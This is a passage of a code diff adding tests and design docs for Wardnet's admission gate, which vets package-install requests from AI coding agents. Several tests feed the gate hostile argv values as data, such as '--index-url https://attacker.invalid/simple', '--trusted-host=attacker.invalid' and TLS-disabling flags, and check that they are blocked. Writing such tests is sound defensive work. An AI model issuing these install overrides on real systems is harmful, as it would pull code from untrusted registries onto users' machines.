+ decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate-value torch-backend authority must remain visible after uv global options: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-torch-backend-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-torch-backend-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs new file mode 100644 index 00000000..06ff4a2c --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs @@ -0,0 +1,133 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, +}; + +#[test] +fn reviewed_uv_install_without_transport_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_equals_form_cannot_disable_tls_for_an_approved_artifact_source() { + for host in [ + "pypi.org", + "files.pythonhosted.org", + "pypi.org:443", + "https://pypi.org", + "*", + ] { + for insert_before_artifact in [true, false] { + let (policy, mut intent) = approved_uv_install(); + let flag = format!("--allow-insecure-host={host}"); + if insert_before_artifact { + intent.argv.insert(3, flag); + } else { + intent.argv.push(flag); + } + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "approved coordinates must not authorize the caller's TLS override for {host}" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "TLS authority must be classified explicitly: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn uv_separate_value_is_classified_as_a_transport_trust_override() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--allow-insecure-host".to_string()); + intent.argv.push("pypi.org".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "an extra operand rejection alone must not hide the TLS override: {:?}", + decision.reason_codes + ); +} + +#[test] +fn repeated_uv_transport_overrides_produce_one_trust_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.extend([ + "--allow-insecure-host=pypi.org".to_string(), + "--trusted-host=files.pythonhosted.org".to_string(), + "--allow-insecure-host=pypi.org".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision + .reason_codes + .iter() + .filter(|reason| **reason == ReasonCode::AlternateTrustRoot) + .count(), + 1 + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-transport-trust".to_string(), + policy_revision: "2026-09-10.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs new file mode 100644 index 00000000..d1b2c36e --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs @@ -0,0 +1,208 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, sha256_hex, +}; + +#[test] +fn unsupported_uv_run_child_argv_does_not_inherit_install_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + + for argv in [ + vec!["uv", "run", "python", "--system-certs"], + vec![ + "uv", + "run", + "python", + "--index-url", + "https://attacker.invalid/simple", + ], + vec!["uv", "run", "python", "--trusted-host=attacker.invalid"], + ] { + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed at the command boundary: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "arguments delegated to the uv run child command must not be reinterpreted as Agent Artifact Admission trust-root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn uv_global_trust_authority_before_run_remains_visible() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--system-certs".to_string(), + "run".to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv-owned global trust authority before the run command boundary must remain visible: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_run_owned_trust_authority_before_child_remains_visible() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--index-url".to_string(), + "https://attacker.invalid/simple".to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv run options before the child command are consumed by uv and must remain Wardnet trust-root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_option_values_named_like_commands_do_not_shift_trust_phase() { + let (policy, mut intent) = approved_uv_install(); + + intent.argv = vec![ + "uv".to_string(), + "--cache-dir".to_string(), + "pip".to_string(), + "run".to_string(), + "python".to_string(), + "--index-url".to_string(), + "https://attacker.invalid/simple".to_string(), + ]; + let child_decision = admission_decision(&policy, &intent); + assert_eq!(child_decision.decision, DecisionKind::Block); + assert!( + child_decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !child_decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "a global option value named `pip` must not make uv run child argv look like uv-owned trust authority: {:?}", + child_decision.reason_codes + ); + + intent.argv = vec![ + "uv".to_string(), + "--cache-dir".to_string(), + "run".to_string(), + "--trusted-host".to_string(), + "attacker.invalid".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let install_decision = admission_decision(&policy, &intent); + assert_eq!(install_decision.decision, DecisionKind::Block); + assert!( + install_decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "a global option value named `run` must not hide a later uv-owned trust override before the real pip command: {:?}", + install_decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-trust-parser-phase".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs new file mode 100644 index 00000000..9ec9bb76 --- /dev/null +++ b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs @@ -0,0 +1,75 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn yarn_classic_workspace_root_escape_flags_fail_closed() { + for workspace_root_flag in ["-W", "--ignore-workspace-root-check"] { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.1".to_string(), + allowed_executables: vec!["yarn".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-yarn-workspace-root-{workspace_root_flag}"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "yarn".to_string(), + "add".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + workspace_root_flag.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Yarn Classic {workspace_root_flag} must not widen an approved install to the workspace root" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "Yarn Classic {workspace_root_flag} must produce alternate_install_root" + ); + } +} diff --git a/deploy/agent-artifact-admission.credentials.schema.json b/deploy/agent-artifact-admission.credentials.schema.json new file mode 100644 index 00000000..4537fa8e --- /dev/null +++ b/deploy/agent-artifact-admission.credentials.schema.json @@ -0,0 +1,20 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://contextualwisdomlab.github.io/wardnet/schemas/agent-artifact-admission.credentials.schema.json", + "title": "Wardnet Agent Artifact Admission Credentials", + "description": "Strict credentials document for the loopback-only agent artifact admission service. Keep this document outside source control and restrict filesystem access to the service account.", + "type": "object", + "additionalProperties": false, + "required": [ + "admin_token" + ], + "properties": { + "admin_token": { + "type": "string", + "minLength": 32, + "maxLength": 4096, + "pattern": "^[!-~]{32,4096}$", + "description": "Printable ASCII bearer token presented in X-Admin-Token. Do not log or persist the raw value." + } + } +} diff --git a/deploy/agent-artifact-admission.example.json b/deploy/agent-artifact-admission.example.json new file mode 100644 index 00000000..d22c6ab7 --- /dev/null +++ b/deploy/agent-artifact-admission.example.json @@ -0,0 +1,13 @@ +{ + "configuration_version": "1", + "bind_address": "127.0.0.1:8787", + "max_request_body_bytes": 65536, + "audit_log_path": "/var/lib/wardnet/agent-artifact-admission.ndjson", + "policy": { + "policy_id": "deny-all", + "policy_revision": "example-v1", + "allowed_executables": [], + "approved_manifests": [], + "approved_artifacts": [] + } +} diff --git a/docs/adr/0012-agent-artifact-admission-bounded-context.md b/docs/adr/0012-agent-artifact-admission-bounded-context.md new file mode 100644 index 00000000..68d34647 --- /dev/null +++ b/docs/adr/0012-agent-artifact-admission-bounded-context.md @@ -0,0 +1,70 @@ +# ADR-0012: Agent Artifact Admission is a separate Wardnet bounded context + +- Status: Accepted for PR #129 +- Date: 2026-09-01 +- Decision owner: Wardnet + +## Context + +Wardnet already owns network and application admission controls. AI coding agents add a different trust transition: untrusted text can be transformed into a package-install or code-execution request. Treating that concern as another handler inside the existing gateway would mix traffic enforcement, package identity, execution authority, and audit semantics in one module and would make future broker integrations depend on the gateway deployment. + +The current implementation has a standalone Rust crate, `wardnet-agent-artifact-admission`, with a deterministic policy evaluator, strict install-intent contract, append-only audit evidence, loopback-only HTTP delivery, and immutable process configuration. This ADR records the domain boundary and the dependency direction that subsequent work must preserve. + +## Decision + +Agent Artifact Admission is a distinct Wardnet bounded context inside the core Security Admission subdomain. Its ubiquitous language and context relationships are defined in `docs/architecture/agent-artifact-admission-context-map.md`. + +The bounded context owns: + +- `InstallIntent`, `InstructionSource`, `ApprovedManifest`, `ApprovedArtifact`, `AdmissionPolicy`, `AdmissionDecision`, reason codes, and their invariants; +- deterministic policy evaluation for one install intent; +- the canonical minimized audit fact for an authenticated admission attempt; +- the loopback-only v0.1 admission API and process composition required to expose that decision boundary. + +It does not own: + +- package execution or sandboxing; +- registry discovery, publisher inference, or dependency resolution; +- Sigstore, TUF, or SLSA provider schemas; +- OpenCode/Codex/Claude/Hermes orchestration policy; +- SIEM/OCSF/OTLP projection formats; +- organization-wide credential or workflow authority. + +Those models cross the boundary only through explicit adapters or Anti-Corruption Layers. A provider DTO must not become an admission domain entity. + +## Dependency direction + +The domain kernel (`admission.rs`, `policy.rs`) must remain free of Axum, Tokio, filesystem, listener, provider SDK, and deployment dependencies. HTTP/process/configuration concerns depend inward on the domain contracts. Concrete audit storage may implement the audit port but must not be imported by the policy evaluator. + +The current crate is a modular deployment boundary, not a mandate to create another microservice for every protocol. A split requires an independently evolving responsibility, persistence authority, policy lifecycle, reuse boundary, or deployment cadence. Additional HTTP, SIEM, Sigstore, or registry adapters alone do not justify a new service. + +`crates/agent-artifact-admission/tests/ddd_architecture_contract.rs` enforces the initial dependency rules. Architecture changes must update this ADR or supersede it and change the fitness tests in the same PR. + +## Consequences + +The main Wardnet gateway cannot reach into Agent Artifact Admission internals. Execution brokers use the published admission API or a future package contract. Agent Artifact Admission cannot directly query another CWL service's application tables. Cross-product integration uses versioned API, package, or event contracts. + +The bounded context remains independently deployable and can be embedded later without losing its domain boundary. The immutable-policy v0.1 avoids a runtime policy aggregate and reduces the transaction to `evaluate -> build audit fact -> durably append -> return receipt`. + +The existing `audit.rs` currently contains both the audit contract and a small file-backed adapter. This is tolerated only while there is one local adapter and the domain evaluator does not depend on its concrete type. A second persistence backend is the trigger to split the port from concrete adapters rather than growing a generic infrastructure module. + +## Security and supply-chain basis + +The admission service complements, rather than replaces, software-supply-chain provenance. Exact digest and reviewed-manifest binding are local admission facts; registry and build provenance remain external authorities. + +Current primary guidance checked for this decision: + +- SLSA v1.2 is the latest released SLSA specification and adds the Source Track; its source and provenance controls remain external evidence consumed through adapters. https://slsa.dev/blog/2025/11/announce-slsa-v1.2 +- The Update Framework specification currently lists v1.0.33 as latest; future signed policy/artifact metadata integration must translate TUF metadata through an adapter. https://theupdateframework.io/spec/ +- NIST SP 800-218, SSDF Version 1.1, remains the current final SSDF publication; SP 800-218 Rev. 1 / SSDF 1.2 is still an Initial Public Draft and is not treated as binding. https://csrc.nist.gov/pubs/sp/800/218/final +- NIST SP 800-218A is the final generative-AI SSDF community profile and supports treating AI-produced software-development instructions as inputs that require secure development controls rather than execution authority. https://csrc.nist.gov/pubs/sp/800/218/a/final + +## Alternatives considered + +**Add routes to the main gateway module.** Rejected because it couples package-execution admission to traffic-routing deployment and expands the gateway's responsibility. + +**Create a generic `security-service` or `common` crate.** Rejected because the name hides responsibility and invites unrelated controls into a shared dumping ground. + +**Let execution brokers implement their own checks.** Rejected because policy and evidence would diverge between OpenCode, Codex, Claude, Hermes, CI, and MCP callers. + +**Make provenance providers domain dependencies.** Rejected because it imports foreign schemas and lifecycle decisions into the admission model; provider evidence belongs behind explicit translation boundaries. diff --git a/docs/architecture.md b/docs/architecture.md index e1ee578b..7908089f 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -8,6 +8,8 @@ flowchart LR admin --> api["Management API"] api --> app["App Crate"] app --> core["waf-ids-core"] + api --> admission["Agent Artifact Admission"] + admission --> admissionCore["crates/agent-artifact-admission"] core --> state["Runtime State"] state --> file["Optional JSON State File"] client["HTTP Client"] --> gateway["Rust Gateway"] @@ -23,6 +25,10 @@ flowchart LR api --> feeds["Threat Feed Import"] feeds --> freshness["Feed Freshness"] commercial --> bundle["Support Bundle"] + sandbox["quarantine-sandbox-runtime\nexternal released evidence"] -.-> admission + egress["EgressWeave\nexternal released evidence"] -.-> admission + orchestrator["contextual-orchestrator\nexternal released API/evidence"] -.-> admission + guardrail["appguardrail\nexternal released evidence"] -.-> admission ``` ## Components @@ -30,6 +36,7 @@ flowchart LR - `src/main.rs`: process startup and operator configuration from `BIND_ADDR`, `ADMIN_TOKEN`, `WAF_IDS_STATE_PATH`, `DNSBL_ORIGIN`, and `EVENT_LIMIT`. - `src/lib.rs`: Axum app, routing, management APIs, optional JSON persistence, gateway handler, upstream proxying, admin console, support bundle assembly, NDJSON event export, and in-crate HTTP tests. - `crates/waf-ids-core`: reusable domain models plus validation, upsert, scoring, DNSBL zone export, event retention, threat-feed freshness, KPI snapshot, and commercial readiness logic. +- `crates/agent-artifact-admission`: Wardnet-owned Agent Artifact Admission domain/application boundary. It binds immutable artifact identity and evidence, evaluates Wardnet admission policy, and emits auditable Wardnet allow/deny receipts; it does not execute hostile workloads or copy sibling-owner sandbox, egress, orchestration, or guardrail logic. - `/admin`: embedded web console. - `/gateway/{path}`: route selection, request scoring, monitor/block decision, optional upstream proxying. - `/dnsbl/zone`: DNSBL zone text using the configured origin, suitable for publication through an authoritative DNS server. @@ -66,6 +73,19 @@ flowchart LR - Commercial readiness is a runtime evidence model for buyer pilots, not a legal revenue recognition or compliance certification system. - The reusable core remains in-repo as a workspace crate. A git submodule is intentionally deferred until an independently versioned engine, SDK, or adapter needs a separate release lifecycle. +### Agent Artifact Admission ownership boundary + +Wardnet owns Agent Artifact Admission policy semantics, immutable artifact/evidence binding, and the admission receipt consumed by its gateway/SOC control plane. Missing or malformed mandatory evidence fails closed according to Wardnet policy; availability of a foreign owner never converts absent evidence into success. + +The following systems remain external canonical owners. Wardnet may validate their released contracts or cryptographically bound evidence, but it must not copy their implementation logic, query their private persistence directly, or bind production behavior to mutable branch/PR state: + +- `quarantine-sandbox-runtime`: hostile-workload isolation, execution profiles, resource/syscall/filesystem controls, ephemeral workspaces, cleanup/recovery, and dynamic artifact-analysis execution. +- `EgressWeave`: outbound destination, transport, and egress authorization/control semantics. +- `contextual-orchestrator`: production LLM/model/tool orchestration and its released API. Wardnet owns the security question and deterministic policy around any advisory result, not provider/model routing. +- `appguardrail`: application/agent guardrail enforcement and its released security evidence contracts. + +This boundary is intentionally contract-first: no source copy, no cross-service SQL, and no mutable sibling dependency. A sibling capability that lacks an immutable released contract remains unavailable to production Wardnet admission rather than being reimplemented locally. + ## Product Architecture Evidence - FigJam: `docs/figma/enterprise-product-architecture.md` diff --git a/docs/architecture/agent-artifact-admission-context-map.md b/docs/architecture/agent-artifact-admission-context-map.md new file mode 100644 index 00000000..1723b5e6 --- /dev/null +++ b/docs/architecture/agent-artifact-admission-context-map.md @@ -0,0 +1,71 @@ +# Agent Artifact Admission bounded context + +Status: active design contract for PR #129. + +Wardnet treats pre-execution package admission as a distinct bounded context rather than another route inside the gateway monolith. The context protects one decision: whether an execution broker may proceed with one exact package-install intent. It does not execute packages, resolve registries, infer publisher ownership from documents, or own the execution sandbox. + +## Subdomain classification + +- **Core subdomain — Security Admission:** deterministic allow/block decisions at Wardnet-controlled trust boundaries. Gateway traffic admission and agent artifact admission share security policy principles, but they do not share mutable domain state or persistence. +- **Supporting subdomain — Security Evidence:** durable, minimized decision evidence used for incident response and later SIEM projection. +- **Supporting subdomain — Policy Delivery:** reviewed immutable policy and credential material supplied to a process instance. +- **Generic subdomain — HTTP/process hosting:** Axum routing, loopback listener lifecycle, file-backed configuration, and operating-system signal handling. + +## Ubiquitous language + +**Install Intent** is the structured request presented before a package manager runs. **Admission Policy** is reviewed immutable policy for one process revision. **Approved Manifest** identifies one reviewed workspace dependency manifest by workspace and SHA-256. **Approved Artifact** identifies one exact artifact by ecosystem, name, version, registry, owner, digest, and the argv token that names it. **Admission Decision** is the deterministic allow/block domain result. **Admission Receipt** is the response representation of that decision. **Audit Record** is minimized durable evidence written before an authenticated admission response is returned. **Instruction Source** records where the install suggestion came from without granting that source authority. **Execution Broker** is an external caller that must require an allow receipt before invoking a package manager. + +The terms `service`, `manager`, `helper`, `common`, `shared`, and `model` are not bounded-context concepts and must not become new responsibility containers. The domain vocabulary now lives in `admission.rs`; new domain concepts should continue to use names from this glossary rather than a generic catch-all module. + +## Context map + +```mermaid +flowchart LR + EB[Execution Broker\nOpenCode / Codex / Claude / Hermes wrapper] + AA[Agent Artifact Admission\nWardnet bounded context] + PD[Reviewed Policy Delivery] + AS[Append-only Audit Store] + PE[Package Executor / Sandbox] + REG[Package Registry / Provenance Services] + SIEM[Wardnet Security Evidence / SIEM projection] + + EB -->|structured Install Intent| AA + PD -->|immutable Admission Policy + credential| AA + AA -->|durable Audit Record| AS + AA -->|Admission Receipt| EB + EB -->|only after allow| PE + PE -->|artifact retrieval/verification| REG + AS -. later projection .-> SIEM +``` + +### Upstream and downstream contracts + +The execution broker is an upstream customer of this context. Its agent text, retrieved pages, issue comments, and tool output are untrusted data. The broker may not bypass the admission result or translate a block into an allow. + +Policy delivery is an upstream published configuration contract. The admission context consumes reviewed policy; it does not mutate policy at runtime. Future signed bundles may replace local files behind an Anti-Corruption Layer without changing the domain types. + +Package registries, Sigstore/TUF/SLSA evidence, and sandbox execution are downstream or external authorities. Their provider-specific schemas must not enter the admission domain as entities. Future integrations translate them through adapters into exact artifact/provenance facts. + +Wardnet SIEM/OCSF/OTLP export is a downstream evidence context. Agent Artifact Admission owns the decision and its canonical audit fact; SIEM export owns external event projections. Projection formats must not become domain dependencies. + +## Aggregate and invariants + +The v0.1 decision is intentionally stateless. `AdmissionPolicy` is immutable process state, while each `InstallIntent` is evaluated independently and produces one `AdmissionDecision`. No long-lived aggregate graph is required. + +The transaction boundary for an authenticated admission request is: evaluate the intent, build the audit fact, durably append it, then return the receipt. An allow must never be visible before durable audit succeeds. Audit failure changes the externally visible result to fail-closed service unavailability. Policy and credentials are not mutated in that transaction. + +## Dependency direction + +`admission.rs` and `policy.rs` form the domain kernel and must remain independent of Axum, Tokio, filesystem, listener, and deployment concerns. `audit.rs` defines the evidence contract and its current local-file adapter; this mixed file is acceptable only while the adapter remains small and the domain never depends on its concrete sink. If additional audit backends arrive, move concrete sinks behind an adapter module before adding them. `config.rs` and `http.rs` are adapter/delivery concerns and may depend inward on domain contracts. `main.rs` is composition only. + +`crates/agent-artifact-admission/tests/ddd_architecture_contract.rs` is the first architectural fitness gate for this context. Extend it whenever a new provider, persistence backend, or delivery surface is introduced. + +## Anti-corruption boundaries + +- Provider-specific registry metadata, package-manager output, Sigstore bundles, TUF metadata, and SLSA attestations are external models. Translate them into reviewed artifact/provenance facts before they influence admission. +- OpenCode/Codex/Claude/Hermes agent messages are not domain commands. The execution broker must construct the strict `InstallIntent` contract explicitly. +- SIEM/OCSF/OTLP schemas are projections of canonical audit facts, not canonical admission entities. + +## Split triggers + +Keep this bounded context as one independently deployable crate while its transactionality and deployment lifecycle remain cohesive. Split only when a stable responsibility acquires an independent policy lifecycle, persistence authority, release cadence, or reuse boundary. A new protocol adapter alone is not a reason to create a service. diff --git a/docs/doctoring/agent-artifact-admission-audit-hard-links.md b/docs/doctoring/agent-artifact-admission-audit-hard-links.md new file mode 100644 index 00000000..73353a7f --- /dev/null +++ b/docs/doctoring/agent-artifact-admission-audit-hard-links.md @@ -0,0 +1,37 @@ +# Agent Artifact Admission audit hard-link authority + +Status: Proposed evidence note for Wardnet issue #258 and PR #259. + +## Problem + +Wardnet's file-backed Agent Artifact Admission audit sink is a security-evidence boundary. Final-symlink refusal, regular-file validation, and owner-only Unix permission bits are necessary but do not distinguish an ordinary pathname from a hard link to another pathname for the same inode. Linux exposes the inode link count through descriptor metadata; a count greater than one proves that the opened file has another hard-link name. + +For this append-only evidence path, accepting a multiply linked inode would let one append through the configured audit pathname mutate the same file visible under another pathname. The relevant invariant is therefore narrower than general filesystem hardening: immediately after Wardnet's existing single secure open, the opened regular file must be owner-only and have exactly one hard link before an audit record is written. + +## Decision + +On Linux, `FileAuditSink::open_append_only` reads metadata from the descriptor returned by the existing `O_NOFOLLOW | O_NONBLOCK | O_APPEND` open and fails closed unless all of the following hold: + +- the descriptor refers to a regular file; +- group and other permission bits are absent (`mode & 0o077 == 0`); +- `st_nlink == 1`. + +The implementation does not `chmod`, unlink, replace, or perform a second pathname lookup to repair externally provisioned storage. This keeps configuration drift observable and avoids adding a pathname preflight as security authority. The existing non-Linux fail-closed behavior remains unchanged because equivalent tested native file-authority semantics have not been established there. + +This decision covers pre-existing hard-link aliasing at the audited open boundary. It does not claim that a link-count observation is a general substitute for directory ownership, mount policy, runtime isolation, or filesystem-specific controls; those remain deployment/runtime concerns outside this Wardnet bounded context. + +## Evidence and traceability + +The hosted RED at exact test-only commit `b992cdb0e3cc42cd48427072373010fcde798a78` ran on Ubuntu 24.04 in CI run `34458676152`, job `102811040900`. Formatting succeeded, the full workspace reached `audit_contract`, and only `file_sink_rejects_hard_linked_owner_only_regular_file` failed. The assertion failed because the current sink accepted the multiply linked owner-only inode and attempted the append. This isolates the missing link-count invariant rather than runner startup, formatting, ordinary append behavior, symlink handling, FIFO handling, or permission-bit enforcement. + +CWE-62 describes insufficient accounting for a UNIX hard link whose name refers to a target outside the intended control sphere. CWE 4.20 is the current CWE release as of this note. Linux `inode(7)` defines `st_nlink`/`stx_nlink` as the number of hard links to a file, and `link(2)` defines creation of an additional hard link to an existing file. NIST SP 800-53 Rev. 5 AU-9 supplies the broader control objective to protect audit information and audit tooling; it does not prescribe the `st_nlink == 1` implementation. The Wardnet invariant is the product-specific mechanism selected to support that objective for this file sink. 